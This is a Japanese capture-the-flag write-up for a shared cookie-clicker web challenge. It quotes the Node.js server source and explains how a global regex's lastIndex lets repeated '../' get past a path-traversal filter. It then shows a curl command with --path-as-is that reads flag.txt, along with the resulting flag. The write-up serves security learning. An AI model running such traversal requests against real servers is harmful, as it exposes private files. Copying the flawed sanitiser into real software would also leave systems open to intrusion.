Massively multiplayer online cookie clicker!!
mmocc.tjc.tf
Downloads
index.js
サイトにアクセスすると他ユーザと共用のcookieクリッカーがある。
site.png
不審な点はないため、ソースを見ると以下のようであった。
~~~
const flag = fs.readFileSync(path.join(__dirname, 'flag.txt')).toString().trim();
~~~
const state = { clicks: 0 };
const routes = {
clicks: async (_req, res) => {
if (state.clicks === Infinity) res.json({ flag, ...state });
else res.json(state);
},
click: async (_req, res) => {
state.clicks++;
res.end();
},
static: async (req, res) => {
const regex = /\.\.\//g;
const clean = (path) => {
const replaced = path.replace('../', '');
if (regex.test(path)) {
return clean(replaced);
}
return replaced;
};
const location = [__dirname, 'static', clean(req.url)];
if (location[2].endsWith('/')) location.push('index.html');
const file = path.join(...location);
let data;
try {
data = await fs.promises.readFile(file);
} catch (e) {
if (e.code === 'ENOENT') {
res.statusCode = 404;
res.end('not found');
return;
}
throw e;
}
const type = types.get(path.extname(file)) ?? 'text/plain';
res.setHeader('content-type', type);
res.end(data);
},
};
~~~
/static
にてclean
といったパストラバーサル対策を行っている。
実はグローバルフラグを持った正規表現を用いてtestを呼び出すとlastIndexが加算される。
そして次回のtestはそのlastIndexからのチェックが始まるため、以下のような挙動を引き起こす。
$ node
~~~
> const regex = /\.\.\//g;
undefined
> regex.test("../../../../../satoki")
true
> regex.lastIndex
3
> regex.test("../../../../satoki")
true
> regex.lastIndex
6
> regex.test("../../../satoki")
true
> regex.lastIndex
9
> regex.test("../../satoki")
false
> regex.lastIndex
0
つまり文字列が変動する場合、正常に検査されない部分が存在することとなる。
よって以下のようにclean
がバイパスできる。
$ node
~~~
> const regex = /\.\.\//g;
undefined
> const clean = (path) => {
... const replaced = path.replace('../', '');
... if (regex.test(path)) {
..... return clean(replaced);
..... }
... return replaced;
... };
undefined
> clean("../../../../../satoki")
'../satoki'
あとはflag.txtを読み取ればよい。
以下のように行う。
$ curl --path-as-is https://mmocc.tjc.tf/static/../../../../../../flag.txt
tjctf{h0w_h1gh_c4n_w3_g3t}
flagが得られた。